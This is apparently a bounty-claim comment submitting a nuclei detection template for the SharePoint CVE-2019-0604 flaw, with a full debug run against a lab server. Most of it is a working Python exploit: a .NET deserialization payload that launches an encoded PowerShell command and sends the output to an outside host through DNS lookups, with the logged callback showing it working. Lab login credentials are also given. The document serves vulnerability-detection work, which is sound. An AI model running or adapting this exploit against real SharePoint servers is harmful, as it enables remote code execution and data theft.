I’ve validated this template locally?
I’ve uploaded vhdx from hyper-v to https://github.com/pszyszkowski/nuclei-templates/releases/tag/CVE-2019-0604
It includes SharePoint 2016 and dependencies (AD, SQL Server, etc.)
Configured username/password: Administrator:SharePointLab1
Set them both as env variables when running template
USERNAME=Administrator PASSWORD=SharePointLab1 nuclei -u ...
Debug:
nuclei -u http://172.24.29.253/ -code -t .\code\cves\2019\CVE-2019-0604.yaml -debug
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.5
projectdiscovery.io
[INF] Current nuclei version: v3.4.5 (latest)
[INF] Current nuclei-templates version: v10.2.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 105
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from pszyszkowski
[INF] Targets loaded for current scan: 1
[INF] Using Interactsh Server: oast.live
[DBG] [CVE-2019-0604] Dumped Executed Source Code for input/stdin: 'http://172.24.29.253/'
---------------
Source Code:
---------------
import os
import sys
import base64
import argparse
from copy import deepcopy
import urllib3
import requests
import lxml.html
import codecs
from xml.sax.saxutils import escape
urllib3.disable_warnings()
default_ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
part1 = 'System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35]],System.Data.Services,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089:'
part2 = '<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><ExpandedElement/><ProjectedProperty0><MethodName>Parse</MethodName><MethodParameters><anyType a:type="b:string">%s</anyType></MethodParameters><ObjectInstance a:type="XamlReader"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfXamlReaderObjectDataProvider>'
content = '<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:c="clr-namespace:System;assembly=mscorlib" xmlns:d="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="" ObjectType="{x:Type d:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <c:String>%(base)s</c:String> <c:String>%(arg)s</c:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>'
paths = [os.getenv("Path"), '/_vti_pvt/picker.aspx', '/_app_bin/picker.aspx', '/_controltemplates/picker.aspx', '/_login/picker.aspx', '/_windows/picker.aspx', '/_layouts/15/picker.aspx', '/_wpresources/picker.aspx', '/_vti_bin/picker.aspx']
host = os.getenv('RootURL')
domain = os.getenv('OAST')
user = os.getenv('username')
pswd = os.getenv('password')
def html_escape(s):
_ = escape(s)
_ = _.replace('"', '"')
return _
def _0604(cmd):
if ' ' in cmd and '|' not in cmd[:cmd.find(' ')]: # avoid command problem (TODO : find a better solution)
_bin, _arg = cmd.split(' ', 1)
else:
_bin = 'cmd'
_arg = '/c ' + cmd
payload = part1 + part2 % html_escape(content % dict(base=html_escape(_bin), arg=html_escape(_arg)))
o = ''.join(codecs.encode(codecs.encode(x, 'utf-16be'), 'hex').decode('ascii')[::-1] for x in payload)
return '__bp' + format(len(o), 'x')[::-1] + o
def main():
auth = ''
cmd = 'echo hacked'
if (user != None) and (pswd != None):
auth = user + ':' + pswd
ntlm = True
else:
ntlm = False
if host is None:
print("missing target. You must specify -u <url>")
exit(1)
if domain is not None:
print('OOB: "%s" will be executed in POWERSHELL context' % (cmd))
__var_raw = '$a'
__var_hex = '$b'
__dns_code = '''
$bl = %(v_hex)s.length;$l = 60;$i = 0;
while($i -lt $bl) {
$l = if(($bl - $i) -gt $l) { $l } else { $bl - $i };
$v = %(v_hex)s.substring($i, $l);
ping -n 1 "$i.$v.%(domain)s";
$i += $l; }
'''.strip() % dict(domain=domain, v_hex=__var_hex)
__post_code = '''
iwr -Uri %(domain)s -Method post -Body %(v_raw)s;
'''.strip() % dict(domain=domain, v_raw=__var_raw)
__code = '''
%(v_raw)s = %(cmd)s;
$Encode = new-object "System.Text.UTF8Encoding";
$bytearray = $Encode.GetBytes(%(v_raw)s);
%(v_hex)s = "";
Foreach ($i in $bytearray) {
%(v_hex)s = %(v_hex)s + $i.ToString("X").PadLeft(2,"0");
}
'''.strip() % dict(cmd=cmd, v_raw=__var_raw, v_hex=__var_hex)
__code += __dns_code
__code = base64.b64encode(__code.encode('UTF-16LE')).decode()
cmd = 'powershell -ep bypass -enc %s' % (__code)
if ntlm:
from requests_ntlm import HttpNtlmAuth
_auth = HttpNtlmAuth(*auth.split(':', 1))
else:
_auth = None
_headers = {'User-Agent': default_ua}
req_kwargs = {
'headers': _headers,
'auth': _auth,
'verify': False
}
def auto_sp_attack(kwargs):
for item in paths:
url = os.getenv('RootURL') + item
# get sharepoint version (2019,2016 / 2013 / 2010)
res = requests.get(url, **kwargs)
spversion = res.headers.get('MicrosoftSharePointTeamServices', '16').split('.', 1)[0] + '.0.0.0'
kwargs['params'] = dict(PickerDialogType='Microsoft.SharePoint.WebControls.ItemPickerDialog,Microsoft.SharePoint,Version=%s,Culture=neutral,PublicKeyToken=71e9bce111e9429c' % spversion)
# get viewstate & ev from picker.aspx
if res.status_code != 200:
print('%s failed [%s]' % (item, res.status_code))
continue
else:
break
rt = lxml.html.fromstring(res.content)
spandata = list(filter(lambda x: x.get('name').endswith('hiddenSpanData'), rt.xpath('//input[contains(@name, "hiddenSpanData")]')))[0].get('name')
kwargs['data'] = {
'__VIEWSTATE': rt.get_element_by_id('__VIEWSTATE').value if rt.xpath('//input[@id="__VIEWSTATE"]') else '',
'__EVENTVALIDATION': rt.get_element_by_id('__EVENTVALIDATION').value if rt.xpath('//input[@id="__EVENTVALIDATION"]') else '',
}
payload = _0604(cmd)
kwargs['data'][spandata] = payload
return requests.post(url, **kwargs)
attack_fn = auto_sp_attack
res = attack_fn(deepcopy(req_kwargs))
print('%s succeded (%s)' % (res.url, res.status_code))
if __name__ == '__main__':
main()
---------------
Command Executed:
---------------
C:\Users\pszys\AppData\Local\Microsoft\WindowsApps\python3.exe C:\Users\pszys\AppData\Local\Temp\nuclei-tmp-4294596850\1885358706
---------------
Command Output:
---------------
OOB: "echo hacked" will be executed in POWERSHELL context
/ failed [401]
/_vti_pvt/picker.aspx failed [404]
/_app_bin/picker.aspx failed [404]
/_controltemplates/picker.aspx failed [404]
/_login/picker.aspx failed [404]
/_windows/picker.aspx failed [404]
http://172.24.29.253/_layouts/15/picker.aspx?PickerDialogType=Microsoft.SharePoint.WebControls.ItemPickerDialog%2CMicrosoft.SharePoint%2CVersion%3D16.0.0.0%2CCulture%3Dneutral%2CPublicKeyToken%3D71e9bce111e9429c succeded (200)
[WRN] Command Output here is stdout+sterr, in response variables they are seperate (use -v -svd flags for more details)
[DBG] [CVE-2019-0604] Dumped Code Execution for http://172.24.29.253/
OOB: "echo hacked" will be executed in POWERSHELL context
/ failed [401]
/_vti_pvt/picker.aspx failed [404]
/_app_bin/picker.aspx failed [404]
/_controltemplates/picker.aspx failed [404]
/_login/picker.aspx failed [404]
/_windows/picker.aspx failed [404]
http://172.24.29.253/_layouts/15/picker.aspx?PickerDialogType=Microsoft.SharePoint.WebControls.ItemPickerDialog%2CMicrosoft.SharePoint%2CVersion%3D16.0.0.0%2CCulture%3Dneutral%2CPublicKeyToken%3D71e9bce111e9429c succeded (200)
[0.6861636b6564.d1A8gPnDiLK601053kv0DJt68cUtHzjSM] Received DNS interaction from 172.253.255.53 at 2025-06-19 22:00:14
------------
DNS Request
------------
;; opcode: QUERY, status: NOERROR, id: 24311
;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;0.6861636b6564.d1A8gPnDiLK601053kv0DJt68cUtHzjSM.OAsT.lIVe. IN A
------------
DNS Response
------------
;; opcode: QUERY, status: NOERROR, id: 24311
;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
;; QUESTION SECTION:
;0.6861636b6564.d1A8gPnDiLK601053kv0DJt68cUtHzjSM.OAsT.lIVe. IN A
;; ANSWER SECTION:
0.6861636b6564.d1A8gPnDiLK601053kv0DJt68cUtHzjSM.OAsT.lIVe. 3600 IN A 178.128.210.172
;; AUTHORITY SECTION:
0.6861636b6564.d1A8gPnDiLK601053kv0DJt68cUtHzjSM.OAsT.lIVe. 3600 IN NS ns1.oast.live.
0.6861636b6564.d1A8gPnDiLK601053kv0DJt68cUtHzjSM.OAsT.lIVe. 3600 IN NS ns2.oast.live.
;; ADDITIONAL SECTION:
ns1.oast.live. 3600 IN A 178.128.210.172
ns2.oast.live. 3600 IN A 178.128.210.172
[CVE-2019-0604:word-1] [code] [critical] http://172.24.29.253/
[INF] Scan completed in 12.425404s. 1 matches found.
/claim #12340
pszyszkowski
@pszyszkowski
ProjectDiscovery
@projectdiscovery